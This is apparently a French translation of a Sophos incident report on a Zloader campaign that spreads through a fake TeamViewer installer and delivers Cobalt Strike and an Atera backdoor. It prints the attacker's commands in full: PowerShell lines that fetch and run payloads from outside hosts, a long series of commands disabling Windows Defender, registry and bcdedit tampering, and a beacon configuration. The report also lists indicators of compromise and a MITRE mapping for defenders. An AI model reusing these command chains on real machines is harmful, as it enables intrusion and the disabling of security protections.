Récemment, les affiliés aux ransomwares Egregor et Ryuk ont utilisé Zloader comme point d’entrée initial. Zloader présentait des capacités d’accès à distance VNC et était proposé sur le tristement célèbre forum cybercriminel russophone exploit[.]in.
Zloader infecte les utilisateurs en utilisant de la publicité Web malveillante afin de rediriger ces derniers vers le téléchargement de fichiers MSI malveillants. Au cours de l’année écoulée, les fichiers MSI Zloader ont été déguisés en programmes d’installation pour des applications de travail à distance telles que Zoom, TeamViewer et Discord.
L’équipe Sophos MTR (Managed Threat Response) a récemment détecté et répondu à une campagne Zloader qui a diffusé Cobalt Strike et installé Atera Agent afin d’obtenir un accès à distance permanent. Sophos MTR a pu observer que Zloader exploitait une vulnérabilité (CVE-2013-3900) connue dans Windows, qui permettait d’ajouter du contenu de script malveillant à des fichiers signés numériquement, lesquels étaient fournis par Microsoft. Au cours du mois dernier, deux autres entreprises ont partagé des recherches liées à cette campagne. Checkpoint a d’abord publié des détails sur la manière avec laquelle Zloader utilisait abusivement CVE-2013-3900. Peu de temps après, Walmart GlobalTech a détaillé les recherches menées sur cette campagne d’attaque, notamment leurs conclusions selon lesquelles “les infections sont principalement localisées aux États-Unis et en Europe”. Compte tenu des observations uniques de Sophos concernant l’accès initial et le déploiement de la balise Cobalt Strike, nous avons souhaité publier nos propres recherches.
Chronologie des événements
19:29
Le vendredi 10 décembre, un utilisateur d’une entreprise automobile américaine a tenté d’installer un outil d’accès à distance sur son ordinateur en recherchant sur Google “teamviewer download“. Malheureusement, cet utilisateur a accidentellement cliqué sur une publicité malveillante, téléchargé puis exécuté un package d’installation malveillant appelé TeamViewer.msi.
Le téléchargement malveillant a été effectué à l’aide du domaine teamviewer-u[.]com. Ce domaine command and control partageait la même adresse IP d’hébergement que le domaine Zloader zoomvideoconference[.]com au moment de notre analyse.
19:30
Lorsque le TeamViewer.msi téléchargé s’est exécuté, il a inscrit sur le disque un exécutable malveillant nommé internal.exe. Cet exécutable a été lancé parallèlement à l’application TeamViewer légitime :
"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\internal.exe "C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\TeamViewer_Service.exe
internal.exe a ensuite lancé un script d’installation qui a téléchargé et exécuté des malwares supplémentaires à partir d’un serveur command and control Zloader, clouds222[.]com.
cmd.exe /C C:/Users/User/AppData/Roaming/internal/launch.bat powershell Invoke-WebRequest https[://]clouds222[.]com/t1m/index/processingSetRequestBat2/?servername=msi -OutFile flash.bat C:\Windows\System32\cmd.exe" /c C:\Users\User\AppData\Roaming\internal\flash.bat
Le script téléchargé, dénommé flash.bat, a alors exécuté un script VBS conçu pour contourner le contrôle de l’application utilisateur et élever les privilèges de l’acteur malveillant.
"C:\WINDOWS\system32\cacls.exe" "C:\WINDOWS\system32\config\system" "C:\WINDOWS\System32\WScript.exe" "C:\Users\User\AppData\Local\Temp\getadmin.vbs"
19:31
flash.bat s’est ensuite exécuté une deuxième fois, mais cette fois, il a été utilisé pour télécharger des charges virales et des outils supplémentaires à partir de clouds222[.]com.
powershell Invoke-WebRequest https[:]//clouds222[.]com/t1m/index/processingSetRequestBat3/?servername=msi -OutFile appContast.dll powershell Invoke-WebRequest https[:]//clouds222[.]com/t1m/index/processingSetRequestBat4/?servername=msi -OutFile flashupdate.ps1 PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& './flashupdate.ps1'" ping 127.0.0.1 -n 3 cmd /c del "C:\Users\User\AppData\Roaming\internal\flash.bat" PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& './flashupdate.ps1'"
Environ deux minutes après l’exécution initiale du malware MSI, le fichier téléchargé flashupdate.ps1 s’est exécuté. Ce script contenait des fonctionnalités pour installer GnuPg et déchiffrer les charges virales.
"C:\WINDOWS\System32\Wbem\WMIC.exe" computersystem get domain "C:\WINDOWS\system32\ARP.EXE" -a "C:\Users\User\AppData\Roaming\gpg4win-2.2.5.exe" /S "C:\WINDOWS\system32\cmd.exe /c ""C:\Users\User\AppData\Roaming\ais.bat""
Le script PowerShell flashupdate.ps1 a alors exécuté un autre script de post-exploitation ais.bat. Ce script batch a utilisé commandaadmin[.]com pour télécharger une copie renommée de l’outil NSudo, un programme dont les pirates abusent couramment pour exécuter des processus avec des privilèges élevés (TrustedInstaller). Le script utilisait reg.exe pour modifier plusieurs clés de registre afin d’échapper à la détection, comme la suppression des notifications pour Windows Defender. Bcdedit.exe est utilisé pour désactiver la réparation du démarrage de Windows avant de désactiver Windows Defender via “sc config“. Nous pensons que ais.bat est dérivé d’un script open source appelé “Defeat-Defender“, lequel prétend “démanteler intégralement la protection de Windows Defender” sur la base des similitudes au niveau des commandes observées.
powershell Invoke-WebRequest https[:]//commandaadmin[.]com/adminpriv.exe -OutFile adminpriv.exe adminpriv -U:T -ShowWindowMode:Hide reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d "1" /f adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d "1" /f adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f powershell.exe -command "Add-MpPreference -ExclusionExtension ".bat"" adminpriv -U:T -ShowWindowMode:Hide bcdedit /set {default} recoveryenabled No adminpriv -U:T -ShowWindowMode:Hide bcdedit /set {default} bootstatuspolicy ignoreallfailures adminpriv -U:T sc config WinDefend start= disabled powershell Invoke-WebRequest https[:]//commandaadmin[.]com/auto.bat -OutFile auto.bat
Les charges virales téléchargées appContast.dll et apiicontrast.dl exploitent une vulnérabilité connue dans Windows, CVE-2013-3900. Ainsi, Zloader a pu ajouter du contenu de script malveillant à un fichier signé numériquement par Microsoft. Le contenu du script ajouté est ensuite exécuté à l’aide du binaire Windows mshta.exe.
cmd /c C:\Windows\System32\mshta.exe C:\Users\User\AppData\Roaming\appContast.dll cmd /c C:\Windows\System32\mshta.exe C:\Users\User\AppData\Roaming\apiicontrast.dll
Des commandes supplémentaires d’évasion de la défense ont été observées lors de l’exécution de appContrast.dll. PowerShell a été utilisé pour altérer les modules Windows Defender :
Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming' Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming*' Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming\*' Add-MpPreference -ExclusionPath 'C:\Users\User\*' Add-MpPreference -ExclusionPath 'C:\Users\User' Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\*' Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\' Set-MpPreference -MAPSReporting 0 Add-MpPreference -ExclusionProcess 'regsvr32' Add-MpPreference -ExclusionProcess 'powershell.exe' Add-MpPreference -ExclusionExtension '.exe' Add-MpPreference -ExclusionProcess 'regsvr32*' Add-MpPreference -ExclusionProcess '.dll' Add-MpPreference -ExclusionProcess '*.dll' Set-MpPreference -PUAProtection disable Set-MpPreference -EnableControlledFolderAccess Disabled Set-MpPreference -DisableRealtimeMonitoring $true Set-MpPreference -DisableBehaviorMonitoring $true Set-MpPreference -DisableIOAVProtection $true Set-MpPreference -DisablePrivacyMode $true Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true Set-MpPreference -DisableArchiveScanning $true Set-MpPreference -DisableIntrusionPreventionSystem $true Set-MpPreference -DisableScriptScanning $true Set-MpPreference -SubmitSamplesConsent 2 Add-MpPreference -ExclusionProcess '*.exe' Add-MpPreference -ExclusionProcess 'explorer.exe' Add-MpPreference -ExclusionProcess '.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force Set-MpPreference -ModerateThreatDefaultAction 6 Set-MpPreference -LowThreatDefaultAction 6 Set-MpPreference -SevereThreatDefaultAction 6 Set-MpPreference -ScanScheduleDay 8 Add-MpPreference -ExclusionProcess 'msiexec.exe' Add-MpPreference -ExclusionProcess 'rundll32.exe' Add-MpPreference -ExclusionProcess 'rundll32*'
Lorsque apiicontrast.dll est exécuté avec MSHTA, un script VBS de veille est lancé avant le déchiffrement et l’exécution d’une charge virale Cobalt Strike, zoom.dll. Ce mot de passe de déchiffrement GPG a été observé pour la première fois associé à Zloader par l’utilisateur Twitter @nao_sec le 28 novembre.
"C:\WINDOWS\System32\WScript.exe" "C:\Users\User\AppData\Local\Temp\WScriptSleeper.vbs" 45000 "C:\Windows\System32\cmd.exe" /c PowerShell -NoProfile -ExecutionPolicy Bypass -command Import-Module GnuPg; Remove-Encryption -FolderPath C:\Users\User\AppData\Roaming -Password 'bibigroup' "C:\Windows\System32\cmd.exe" /c rundll32.exe zoom2.dll DllRegisterServer "C:\Windows\System32\cmd.exe" /c zoom1.msi "C:\Windows\System32\cmd.exe" /c regsvr32 zoom.dll
Parallèlement, msiexec a installé une backdoor d’accès à distance via Atera Agent. Les affiliés au ransomware Conti utilisent fréquemment Atera Agent ainsi que d’autres outils d’accès à distance.
"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\internal.exe" "C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="milliesoho@yahoo.com" /CompanyId="1" /IntegratorLoginUI="" /CompanyIdUI="" /FolderId="" /AccountId="" NET STOP AteraAgent taskkill /f /im AteraAgent.exe "C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /u "C:\Program Files\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="" /CompanyId="" /IntegratorLoginUI="" /CompanyIdUI=""
La charge virale Cobalt Strike déchiffrée zoom.dll tente de communiquer avec le serveur C2 sdilok[.]com/jquery-3[.]3[.]1[.]min[.]js en utilisant la configuration BEACON ci-dessous.
{ "BeaconType": [ "HTTP" ], "Port": 80, "SleepTime": 5000, "MaxGetSize": 1403644, "Jitter": 10, "PublicKey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCEEz909XdV3PkUiLxDGpWVdPD3B4EbAj5EfUWeabGyL6L tDBTgG0rgRmafGGYCCaNU51WT4X9vu0vpXJvm+j0xmQcd3oy3ZmJfZpmNvgjGMYi4O077 fl7Mda1Q+plqpnJ3Oi8Mv5VIccWGfuPbRq8dLT38rkb20IVTCYnrle/AHQIDAQABAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", "PublicKey_MD5": "c60a248cc3e3ad52088035b21bf170a4", "C2Server": "sdilok.com,/jquery-3.3.1.min.js", "UserAgent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko", "HttpPostUri": "/jquery-3.3.2.min.js", "Malleable_C2_Instructions": [ "Remove 1522 bytes from the end", "Remove 84 bytes from the beginning", "Remove 3931 bytes from the beginning", "Base64 URL-safe decode", "XOR mask w/ random key" ], "HttpGet_Metadata": { "ConstHeaders": [ "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Referer: http://code.jquery.com/", "Accept-Encoding: gzip, deflate" ], "ConstParams": [], "Metadata": [ "base64url", "prepend \"__cfduid=\"", "header \"Cookie\"" ], "SessionId": [], "Output": [] }, "HttpPost_Metadata": { "ConstHeaders": [ "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Referer: http://code.jquery.com/", "Accept-Encoding: gzip, deflate" ], "ConstParams": [], "Metadata": [], "SessionId": [ "mask", "base64url", "parameter \"__cfduid\"" ], "Output": [ "mask", "base64url", "print" ] }, "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==", "SSH_Banner": "", "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\dllhost.exe", "Spawnto_x64": "%windir%\\sysnative\\dllhost.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 0, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "False", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 17500, "ProcInject_PrependAppend_x86": [ "kJA=", "Empty" ], "ProcInject_PrependAppend_x64": [ "kJA=", "Empty" ], "ProcInject_Execute": [ "ntdll:RtlUserThreadStart", "CreateThread", "NtQueueApcThread-s", "CreateRemoteThread", "RtlCreateUserThread" ], "ProcInject_AllocationMethod": "NtMapViewOfSection", "ProcInject_Stub": "Ms1B7fCBDFtfSY7fRzHMbQ==", "bUsesCookies": "True", "HostHeader": "", "smbFrameHeader": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=", "tcpFrameHeader": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=", "DNS_strategy": "round-robin", "DNS_strategy_rotate_seconds": -1, "DNS_strategy_fail_x": -1, "DNS_strategy_fail_seconds": -1 }
Réponse et remédiation
19:34
Sophos EDR/XDR détecte la charge virale Cobalt Strike en mémoire sous la désignation “C2_6a T1071.001 mem/cobalt-d” et prend automatiquement des mesures pour mettre fin au processus malveillant rundll32.exe et nettoyer la charge virale Cobalt Strike du disque.
19:35
L’équipe Sophos MTR (Managed Threat Response) dispose d’une investigation spécifique créée pour les commandes suspectes et la détection de Cobalt Strike. Ce dernier est un agent d’accès à distance largement utilisé par les adversaires et est un signe avant-coureur classique annonçant l’arrivée d’un ransomware.
19:37
Un analyste Sophos MTR a commencé à répondre au cas, seulement six minutes après l’exécution initiale du malware. L’équipe MTR a isolé l’hôte impacté pour empêcher toute autre connectivité réseau lors de la réponse. Au cours de l’investigation, l’équipe MTR a collaboré étroitement avec les SophosLabs pour prendre immédiatement les mesures nécessaires afin d’aider à sécuriser l’ensemble des clients Sophos. L’équipe MTR a désactivé la backdoor Atera et a collaboré avec le client concerné pour limiter avec succès l’impact au niveau du poste de travail.
Indicateurs de compromission (IoC)
Indicateur | Type |
teamviewer-u[.]com | Command and Control |
zoomvideoconference[.]com | Command and Control |
https[:]//sdilok[.]com/jquery-3.3.1.min.js | Command and Control – Cobalt Strike |
https[:]//clouds222[.]com | Command and Control |
https[:]//commandaadmin[.]com | Command and Control |
a187d9c0b4bdb4d0b5c1d2bdbcb65090dcee5d8c | File – ‘TeamViewer.msi’ |
3eda16e4d60e1a79ad97fc1d195ccbe5d97e699f | File – ‘auto.bat’ |
f4879eb2c159c4e73139d1ac5d5c8862af8f1719 | File – ‘internal.exe |
3a80a49efaac5d839400e4fb8f803243fb39a513 | File – ‘adminpriv.exe’ |
5c59ef0d8c0919082128e98a757d844c0ace54e3 | File – ‘ais.bat’ |
23136ecb2edb263db390b6b9fcf9000ff23441a9 | File – ‘appContast.dll’ |
5912bfbd07dec5dd7798e7cb413299c788a8fd9e | File – ‘flashupdate.ps1’ |
5ec4ba41b2066654d8e0dfd0aea770197ad2f21c | File – ‘zoom1.msi.gpg’ |
b350b770b8b79ffb16574d59e4ca4fafacca19cd | File – ‘zoom1.msi’ |
41a47cc8807121cac19597bc0455084e714604bc | File – ‘zoom2.dll.gpg’ |
2c15d43aab71465c9308e0cc306339925d47dea3 | File – ‘zoom2.dll’ |
Mapping MITRE ATT&CK
MITRE Tactic | MITRE Technique |
Initial Access | T1189 – Drive-by Compromise |
Execution | T1059 – Command and Scripting Interpreter
T1204 – User Execution |
Persistence | T1543 – Create or Modify System Process |
Privilege Escalation | T1055 – Process Injection
T1548 – Abuse Elevation Control Mechanism |
Defense Evasion | T1218 – Signed Binary Proxy Execution
T1562 – Impair Defenses T1036 – Masquerading T1140 – Deobfuscate/ Decode Files or Information |
Command & Control | T1219 – Remote Access Software
T1071 – Application Layer Protocol: Web Protocols |
Discovery | T1482 – Domain Trust Discovery |
Exfiltration | T1041 – Exfiltration Over C&C Channel |
Rédigé et développé par Colin Cowie avec le soutien de Stan Andic et de l’équipe Sophos MTR.
Billet inspiré de Zloader Installs Remote Access Backdoors and Delivers Cobalt Strike, sur le Blog Sophos.